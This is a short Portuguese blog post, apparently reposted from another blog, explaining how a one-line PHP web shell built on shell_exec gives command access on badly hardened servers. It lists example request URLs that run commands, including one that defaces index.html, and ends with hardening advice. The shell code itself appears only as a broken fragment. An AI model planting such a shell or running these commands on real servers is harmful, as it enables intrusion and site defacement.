Que tal ganhar o shell com uma linha ... em sistemas que não foram bem configurados

Adoro navegar pela internet e aprender um pouco mais. Uma das grandes vantagens de estar na área de TI é que não precisam de ficar esperando pessoas do mundo acadêmico publicar algo. Podemos andar pela internet e aprender mais e mais todos os dias.

E um dos meus interesses, como fica bem claro aqui no blog desde sempre é que eu amo a área de Segurança da Informação, mesmo nunca tendo atuado oficialmente nela.

E, como sabemos, apesar de termos milhões de formas de manter um sistema protegido muitas pessoas não mantém este hábito e, infelizmente, acabam por deixar alguns furos. E é a partir destes furos que a maioria dos atacantes consegue acesso nos sistemas operacionais.

O PHP possui uma função chamada shell_exec que, como fica bem claro, permite que você execute um comando shell dentro do sistema operacional. E, caso o sistema não tenha sido pensado de forma segura com um chroot ou outra forma de proteção, o atacante consegue a partir disto diversas informações sobre o sistema que está rodando, e, a partir daí pode procurar alguma CVE específica para atacar.

&1'); ?>

Ao subir um arquivo de nome shell.php para o serrvidor que não tenha o hardening adequado …

Podemos rodar um série de comandos, sejam eles em uma máquina Linux ou até em uma máquina Windows, caso o PHP esteja ali.

  • shell.php?e=whoami
  • shell.php?e=pwd
  • shell.php?e=uname%20-a (I had to URL encode the spaces otherwise my browser thought it should search using google)
  • shell.php?e=echo%20This%20site%20has%20been%20hacked%3Eindex.html
  • shell?e=ls%20-l%20/tmp

Portanto é bom sempre ter em mente fazer os bloqueios necessários no seu servidor web que esteja rodando o PHP.

Via Graeme Robinson blog

comments powered by Disqus